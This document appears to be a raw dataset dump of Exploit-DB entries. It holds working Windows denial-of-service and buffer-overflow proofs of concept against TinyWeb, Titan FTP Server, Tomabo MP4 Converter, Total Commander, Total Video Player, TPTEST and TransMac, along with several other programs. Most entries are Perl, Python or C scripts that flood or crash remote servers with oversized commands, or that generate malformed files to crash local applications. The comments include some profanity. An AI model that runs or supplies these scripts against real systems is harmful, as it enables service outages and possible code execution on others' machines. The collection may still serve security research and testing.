deardaniel/secdata-raw huggingface dataset:
Exploit-DB #782
Description: TinyWeb 1.9 - Denial of Service
Type: dos
Platform: windows
Date: 2005-02-01
Author: karak0rsan

Exploit:
#TinyWeb version 1.9 DoS Exploit
#Coded bY ++Karak0rsan++
#Usage:perl tiny.pl [target]
#Greetz:Phalaposher,r3d_b4r0n,Hurby,ZzagorR,L4M3R,zeronc,Atak,sloan,fox and
#all my friends
# w0rdz: cengiz g t ne sokam senin ehehheh bak exploit yay nlan rsa reziL #olacan :D ama #yay nlanmaz belki yay nlansada bo ver nickini s ylemiyom #anlamazlar :P okullar a l yo peder benim #bilg. kald r yo ne yapcam ben #bilmiyom a.k :) siktiri boktan bi dos exploiti yazd k yolluyoz g venlik
#sitesine :D neyse uzatmayal m "I AM 15 YEARS OLD" ya m z belirtelim :D

$target=$ARGV[0];

if(!$ARGV[0]){
        print "TinyWeb version 1.9 DoS Exploit\n";
        print "Coded by ++Karak0rsan++\n";
        print "Usage:perl tiny.pl [target]\n";
}


use IO::Socket;
$sock = new IO::Socket::INET( PeerAddr => $target,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, );
close($sock);
if($sock){
        print "[+]Attacking...\n";
}


$ish=1;

do {
$ish++;
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $target,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Didnt Connect,please check your target
address!\n";
print $socket "GET /cgi-bin/.%00./dddd.html HTTP/1.0\r\n";
close($socket);
} while ($ish < 10000);

print "OK ;)\n";
exit();

# milw0rm.com [2005-02-01]
Exploit-DB #24080
Description: Titan FTP Server 3.0 - 'LIST' Denial of Service
Type: dos
Platform: windows
Date: 2004-05-04
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/10272/info

Titan FTP is prone to a remote denial of service vulnerability when handling the 'LIST' command.

A remote attacker can cause the FTP server to crash by improperly handling a non-existent socket.

#!/usr/bin/perl
# Test for Titan FTP server security vulnerability

use IO::Socket;

$host = "192.168.1.243";

my @combination;
$combination[0] = "LIST \r\n";

for (my $i = 0; $combination[$i] ; $i++)
{
 print "Combination: $1\n";

 $remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2112",
     );
 unless ($remote) { die "cannot connect to ftp daemon on $host" }

 print "connected\n";
 while (<$remote>)
 {
  print $_;
  if (/220 /)
  {
   last;
  }
 }

 $remote->autoflush(1);

 my $ftp = "USER anonymous\r\n";

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/331 /)
  {
   last;
  }
 }

 $ftp = "PASS a\@b.com\r\n";
 print $remote $ftp;
 print $ftp;
 
 while (<$remote>)
 {
  print $_;
  if (/230 /)
  {
   last;
  }
 }
 
 $ftp = $combination[$i];

 print $remote $ftp;
 print $ftp;

 while (<$remote>)
 {
  print $_;
  if (/150 /)
  {
   last;
  }
 

 close $remote;
}
Exploit-DB #5036
Description: Titan FTP Server 6.03 - 'USER/PASS' Remote Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-02
Author: securfrog

Exploit:
#Titan FTP SERVER REMOTE HEAP OVERFLOW(USER/PASS)
#Impact : Critical
#
# Windbg Output:
#(bec.528): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000000 ecx=07e415f4 edx=00000000 esi=41414141 edi=07e415f4
#eip=004bbafa esp=06e4fb38 ebp=06e4fb5c iopl=0         nv up ei pl nz na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#srxTitan+0xbbafa:
#004bbafa 8930             mov     [eax],esi         ds:0023:41414141=????????
#
# When reconnecting :
#
#(bec.c60): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=004bb991 ebx=00000000 ecx=41414141 edx=0129e4e8 esi=0129e4d4 edi=41414141
#eip=004bb977 esp=0714fe7c ebp=0714fe9c iopl=0         nv up ei pl zr na po nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
#srxTitan+0xbb977:
#004bb977 8b01             mov     eax,[ecx]         ds:0023:41414141=????????
# 
# Server crash after reconnecting. 
# 
#Here's the Poc
use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "A" x 4096;
my $pass = "A" x 22000;
print "Trying to connect to :$target...\n"; 
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass); 
print "Poc Successfull\n";
$ftp->quit; 

# milw0rm.com [2008-02-02]
Exploit-DB #31105
Description: Titan FTP Server 6.05 build 550 - 'DELE' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-04
Author: j0rgan

Exploit:
source: https://www.securityfocus.com/bid/27611/info

Titan FTP Server is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial of service.

This issue affects Titan FTP Server 6.05 build 550; other versions may also be vulnerable. 

#!/usr/bin/python
#
# First of all, thanks to my wife Edita.
#
# Heap overflow in Titan FTP Server version 6.05 build 550
# (DELE ) - probably other commands are vulnerable too
# PoC tested on WinXP sp1
# EAX and ESI are overwritten with 41414141 and 44444444
#
# Greetz to muts, m1k1, bolexxx
# and crew from offsec, remote-exploit.org, Cedes.ba, Itas and Cikom :)
#
# Coded by Muris Kurgas a.k.a j0rgan < muris [at] cg [dot] yu >


import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\nSaljem zli bafer..."
buffer = '\x90' * 20519 + "A" * 4  + "D" * 4 + "B" * 55000
s.connect(('192.168.1.9',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
print "\nBum! Bum! Bum! :)"
s.send('DELE ' +buffer+'\r\n')
s.close()


be safe,
j0rgan
Exploit-DB #6753
Description: Titan FTP Server 6.26 build 630 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-10-14
Author: dmnt

Exploit:
# Titan FTP server v6.26 build 630 remote DoS exploit
# Titan FTP URL - http://www.titanftp.com/
# DoS'ed on "SITE WHO" command
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import sys

def help_info():
    print ("Usage: titand0s <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("SITE WHO\r\n")
    sock.close()
    print "[0] Now server d0s'ed"

print ("\n]Titan FTP server v6.26 build 630 remote DoS exploit[")
print ("](x)dmnt 2008[\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-14]
Exploit-DB #24178
Description: ToCA Race Driver - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2004-06-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/10492/info

ToCA Race Driver is reportedly affected by multiple remote denial of service vulnerabilities. These issues are due to a failure of the application to handle exceptional network traffic.

These issues may allow an attacker to cause the affected application to crash or hang, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24178.zip
Exploit-DB #42451
Description: Tomabo MP4 Converter 3.19.15 - Denial of Service
Type: dos
Platform: windows
Date: 2017-08-13
Author: Andy Bowden

Exploit:
#!/usr/bin/python

# Exploit Title: Tomabo MP4 Converter DOS
# Date: 13/08/17
# Exploit Author: Andy Bowden
# Vendor Homepage: http://www.tomabo.com/
# Software Link: http://www.tomabo.com/mp4-converter/index.html
# Version: 3.19.15
# Tested on: Windows 7 x86
# CVE : None

#Generate a .m3u file using the python script and import it into the MP4 Converter.

file = "crash.m3u"

buffer = "A" * 550000

f = open(file, "w")
f.write(buffer)
f.close()
Exploit-DB #46848
Description: Tomabo MP4 Converter 3.25.22 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-15
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: MP4 Converter 3.25.22 - 'Name' Denial of Service (PoC)
# Date: 14/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.tomabo.com/
# Software: http://www.tomabo.com/downloads/mp4-converter-setup.exe
# Version: 3.25.22
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "MP4Converter.py", it will create a new file "MP4Converter.txt"
# 2.- Copy the text from the generated MP4Converter.txt file to clipboard
# 3.- Open MP4 Converter
# 4.- Select 'Options' > 'Video/Audio Formats'
# 5.- Click 'Add Preset' and paste clipboard in the field 'Name'
# 6.- Click 'OK' and click 'Reset All' 
# 7.- Crashed

buffer = "\x41" * 10000
f = open ("MP4Converter.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #47912
Description: Top Password Firefox Password Recovery 2.8 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-13
Author: antonio

Exploit:
# Exploit Title: Top Password Firefox Password Recovery 2.8 - Denial of Service (PoC)
# Date: 2020-01-12
# Exploit Author: Antonio de la Piedra
# Vendor Homepage: https://www.top-password.com/
# Software Link: https://www.top-password.com/download/FirefoxPRSetup.exe
# Version: 2.8
# Tested on: Windows 7 SP1 32-bit

# Copy paste the contents of poc.txt  into the
# User Name / Registration Code input fields.

#!/usr/bin/python

poc =3D "A"*5000
file =3D open("poc.txt","w")
file.write(poc)
file.close()
Exploit-DB #47907
Description: Top Password Software Dialup Password Recovery 1.30 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-13
Author: antonio

Exploit:
# Exploit Title: Top Password Software Dialup Password Recovery 1.30 - Denial of Service (PoC)
# Date: 2020-01-12
# Exploit Author: Antonio de la Piedra
# Vendor Homepage: https://www.top-password.com/
# Software Link: https://www.top-password.com/download/DialupPRSetup.exe
# Version: 1.30
# Tested on: Windows 7 SP1 32-bit

# Copy paste the contents of poc.txt into the
# User Name /  Registration Code input fields.

#!/usr/bin/python

poc =3D "A"*5000
file =3D open("poc.txt","w")
file.write(poc)
file.close()
Exploit-DB #11652
Description: TopDownloads MP3 Player 1.0 - '.m3u' Crash
Type: dos
Platform: windows
Date: 2010-03-07
Author: l3D

Exploit:
#!/usr/bin/env python
#MP3 player 1.0 Local Crash
#Author: l3D
#Software Link: http://files.brothersoft.com/mp3_audio/players/td-mp3.exe
#Site: http://xraysecurity.blogspot.com
#IRC: irc://irc.nix.co.il
#Email: pupipup33@gmail.com

bad=open('crash.mp3', 'w')
bad.write('A'*0x1000)
bad.close()
Exploit-DB #33977
Description: Torque Game Engine - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-05-09
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/40102/info

Torque Game Engine is prone to multiple denial-of-service vulnerabilities.

An attacker with valid login credentials can exploit these issues to cause the application using the engine to crash, resulting in a denial-of-service condition. Other attacks may also be possible.

Torque 2D game engine and Torque 3D game engine are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33977.zip
Exploit-DB #39400
Description: Toshiba Viewer v2 p3console - Local Denial of Service
Type: dos
Platform: windows
Date: 2016-02-02
Author: JaMbA

Exploit:
#!/usr/bin/perl

# Exploit Title: Toshiba viewer v2  p3console Local Denial of Service
# Date: 02-02-2016
# Author: JaMbA
# Download: http://business.toshiba.com/downloads/KB/f1Ulds/9942/viewer2-cj242-v106.zip
# Version: 2
# Tested on: Windows 7

my $file= "Crash.fax";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.fax File Created successfully\n";
print "\ Oumaima & Tarta (Ahmadso best friend)\n";
close($FILE);
Exploit-DB #1633
Description: Total Commander 6.x - 'unacev2.dll' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-04-02
Author: darkeagle

Exploit:
/*
--
/\
\/	Total Commander unacev2.dll Buffer Overflow PoC Exploit
/\			by Darkeagle of Unl0ck Research Team
\/					http://unl0ck.net
/\	
\/	when file will be created, try to open archive in TotalCmd and then unpack it ;)
/\
\/
--
*/
#include <string.h>
#include <stdio.h>

unsigned char evil_ace[] = 
	"\x29\x8F\x31\x00\x00\x00\x90\x2A\x2A\x41\x43\x45\x2A\x2A\x14\x14" 
	"\x02\x00\x79\xB5\x7F\x34\xFE\xE2\x05\xA5\x00\x00\x00\x00\x16\x2A" 
	"\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52" 
	"\x53\x49\x4F\x4E\x2A\x7F\x30\x1E\x01\x01\x01\x00\x00\x00\x00\x00" 
	"\x00\x00\x00\x00\x75\xB5\x7F\x34\x20\x00\x00\x00\xFF\xFF\xFF\xFF" 
	"\x00\x03\x0A\x00\x54\x45\xFF\x00\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
	"\x61\x61\x61\x2E\x74\x78\x74";


int main()
{
	FILE *ace;
	ace = fopen("evil.ace", "w+b");
	fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
	fclose(ace);
	return 0;

}

// milw0rm.com [2006-04-02]
Exploit-DB #30512
Description: Total Commander FileInfo 2.09 Plugin - Multiple PE File Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2007-07-20
Author: Gynvael Coldwind

Exploit:
source: https://www.securityfocus.com/bid/25373/info

The FileInfo plugin for Total Commander is prone to multiple PE file denial-of-service vulnerabilities because the plugin fails to properly handle malformed input.

Successfully exploiting these issues allows remote attackers to crash the affected application.

FileInfo 2.09 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30512.exe
Exploit-DB #30934
Description: Total Player 3.0 - '.m3u' File Denial of Service
Type: dos
Platform: windows
Date: 2007-12-25
Author: David G.M.

Exploit:
source: https://www.securityfocus.com/bid/27021/info

Total Player is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the application. Given the nature of this issue, the attacker may be able to execute arbitrary code, but this has not been confirmed.

This issue is reported to affect Total Player 3.0; other versions may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30934.m3u
Exploit-DB #11541
Description: Total Video Player 1.31 - '.avi' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-02-22
Author: diving

Exploit:
#!perl

#############################################
# Total Video Player 1.31 (.avi) Local Crash PoC
# by: diving
# Thanks: Indonesian 31337 server diving aka loncat indah :)
# Note: Kalau hanya bisa loncat indah, loncat indah aja. engga usah main kayak ginian
#       main balon sana dodol.
#############################################


my $diving = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
#############################################
open(fuck, "> diving.avi");
print (fuck $diving);
#############################################
Exploit-DB #19265
Description: Total Video Player 1.31 - '.m3u' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-06-18
Author: 0dem

Exploit:
# Exploit Title: Total Video Player 1.31 .m3u Crash Poc 
# Date: June 17 2012  
# Exploit Author: 0dem
# Vendor Homepage: http://www.effectmatrix.com/
# Software Link: http://download.cnet.com/Total-Video-Player/3000-2139_4-10552696.html
# Version: V1.31
# Tested on: Windows XP SP 3
# Description:   Total Video Player has no correct input handling and will hang, 
#   when trying to open malformed .m3u files. .mp3 and .avi files are affected too

# --- m3u -----------------------------------------------
#!/usr/bin/python
junk = "#EXTM3U\n"
junk += "#EXTINF:666, 0dem, 0dem\n"
junk += "c:\\A"

file = open("PoC.m3u","w")
file.writelines(junk)
file.close()

# --- mp3 -----------------------------------------------
#!/usr/bin/python
junk = "\x41" * 100
file = open("PoC.mp3","w")
file.writelines(junk)
file.close()

# --- avi -----------------------------------------------
#!/usr/bin/python
junk = "\x41" * 100
file = open("PoC.avi","w")
file.writelines(junk)
file.close()
Exploit-DB #11540
Description: Total Video Player 1.31 - '.wav' Local Crash
Type: dos
Platform: windows
Date: 2010-02-22
Author: v3n0m

Exploit:
#!/usr/bin/perl

# E.M. Total Video Player V1.31 (.wav) Local Crash Exploit
# Author	: v3n0m
# Site		: http://yogyacarderlink.web.id/
# group		: YOGYACARDERLINK
# Date		: February, 22-2010 [INDONESIA]
# Software	: E.M. Total Video Player
# Version	: 1.31 Other versions may also be affected
# Download	: http://www.effectmatrix.com/total-video-player/index.htm
# Greetz	: All Yogyacarderlink Crew
# Special Greetz: LeQhi (Happy b'day to you),eidelweiss,mywisdom,GheMaX,m4rco
# Fuck to	: Yg suka nyebar bugs,tapi ga ngerti cara nyari bugs -__-"
#		  Sekarang gw tunjukin ke lo begini caranya !! fuck lamer troll !!
print "|----------------------------------------------------|\n";
print "| E.M. Total Video Player (.wav) Local Crash Exploit |\n";
print "| Created  : v3n0m                                   |\n";
print "| E-mail   : v3n0m666[at]live[dot]com                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
print " Usage: Run this c0de, load file and bo0om!!\n\n";
my $fuck = "\x41" x 666;
my $file = "lamerz.wav";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$fuck";
print "\nFile successfully created!\n";
Exploit-DB #17785
Description: TOWeb 3.0 - Local Format String Denial of Service 'TOWeb.MO' File Corruption
Type: dos
Platform: windows
Date: 2011-09-05
Author: BSOD Digital

Exploit:
#
#Exploit Title:
#TOWeb V3 Local Format String DOS Exploit (TOWeb.MO file corruption)
#
#Date: 05/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#Mail: bsoddigital@gmail.com
#
#
#Test:
#OS: Windows 7
#Versions: V3.17
#
#Path:
#Lauyan\TOWeb V3\locale\fr\LC_MESSAGES\TOWeb.MO
#
#Link:
#http://www.lauyan.com/download/old/install-towebv3-fr.exe
#
#!/usr/bin/perl

print "\n------------------------------------";
print "\nLauyan TOWeb v3 Local Format String Dos Exploit";
print "\nBSOD Digital - bsoddigital@gmail.com";
print "\n------------------------------------";
my $file = "TOWeb.MO";
my $corrupt = "%s" x 2;
open($File, ">$file");
print $File $corrupt;
print "\nEvil TOWeb.MO file created.";
close($File);
Exploit-DB #14711
Description: Tplayer V1R10 - Denial of Service
Type: dos
Platform: windows
Date: 2010-08-23
Author: 41.w4r10r

Exploit:
#!/usr/bin/python
print "--------------------Exploit By 41.w4r10r------------------------------\n"
print "-------------------41.w4r10r@gmail.com-----------------------------\n"
print "----------------Tplayer V1R10 DoS Exploit------------------------------\n"
print "-------------Vendor Site : http://www.flicenr.ca-------------------------\n"
print "Greets:B0nd, Ne0, Godwin_Austin, Fb1H2s, Eberly, Punter, The_Empty(), DZZ, Micr0 \n \n"
print "  Catch Us :  www.Garahe4hackers.com | www.Andhrahackers.com | www.ICW.in \n \n"
print "-------------------------Indian Hackers Rock-----------------------------------"

junk = "/x41" * 50000;
filename = "crash.mp3";
file = open(filename,"w")
file.writelines(junk)
file.close()
filename2="crash2.mp3";
file=open(filename2,"w")
file.writelines(junk)
file.close()
print "Two Files Created "
print "[+]Usage: Load both of Created Files in player and click on Automix Button :)"
raw_input()
Exploit-DB #8058
Description: TPTEST 3.1.7 - Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-16
Author: ffwd

Exploit:
#!/usr/local/bin/perl

# TPTEST <= 3.1.7 (maby also 5.0.2?)
# tptest.sourceforge.net
# stackbased buffer overflow poc in server (client can also be exploit)
# author: ffwd

use IO::Socket;($host,$port)=@ARGV;
$rem=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$port);
if(!$rem){die "1\n";}$rem->autoflush(1);
$cookie=$major=$minor="123";
$r=<$rem>;print "$r";sleep 5; # to attach in gdb..
if($r=~/cookie=([0-9]*)/){$cookie=$1;}
if($r=~/vmajor=([0-9]*)/){$major=$1;}
if($r=~/vminor=([0-9]*)/){$minor=$1;}
$s="TEST vmajor=$major;vminor=$minor;mode=4;timeout=60;tcpbytes=0;cookie=$cookie;client=\r\n";
print "$s";print $rem "$s";$rr=<$rem>;print "$rr";
if($rr=~/^210 tcpdataport=([0-9]*)/)
{$data=$1;$remm=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort=>$data);
if(!$remm){die "2\n";}}
$ss="STATS majorv=$major;minorv=$minor;pktssent=0;pktsunsent=0;pktsrcvd=0;bytessent=51200;bytesrcvd=0;".
"maxrtt=0;minrtt=999999999;totrtt=0;nortt=0;oocount=0;txstart_s=[PII_REDACTED];txstart_us=717574;".
"txstop_s=[PII_REDACTED];txstop_us=717173;rxstart_s=0;rxstart_us=0;rxstop_s=0;rxstop_us=0;email=;pwd=".
("A"x42)."\r\n"; # buffer overflow!
print "$ss";print $rem "$ss";
print while <$rem>;

# milw0rm.com [2009-02-16]
Exploit-DB #46470
Description: TransMac 12.3 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-28
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: TransMac 12.3 - 'Volume name' Denial of Service (PoC)
# Date: 27/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.acutesystems.com/
# Software Link: https://www.acutesystems.com/tmac/tmsetup.exe 
# Version: 12.3
# Tested on: Windows 10


# Proof of Concept:
# 1.- Run the python script "TransMac.py", it will create a new file "TransMac.txt"
# 2.- Copy the content of the new file 'TransMac.txt' to clipboard
# 3.- Open TransMac.exe
# 4.- Go to File > New Disk Image
# 5.- Paste clipboard in 'Volume name' field
# 6.- Click on button -> Ok
# 7.- Save the new disk with any name, e.g 'exploit.dmg'
# 8.- Crashed

buffer = "\x41" * 1000
f = open ("TransMac.txt", "w")
f.write(buffer)
f.close()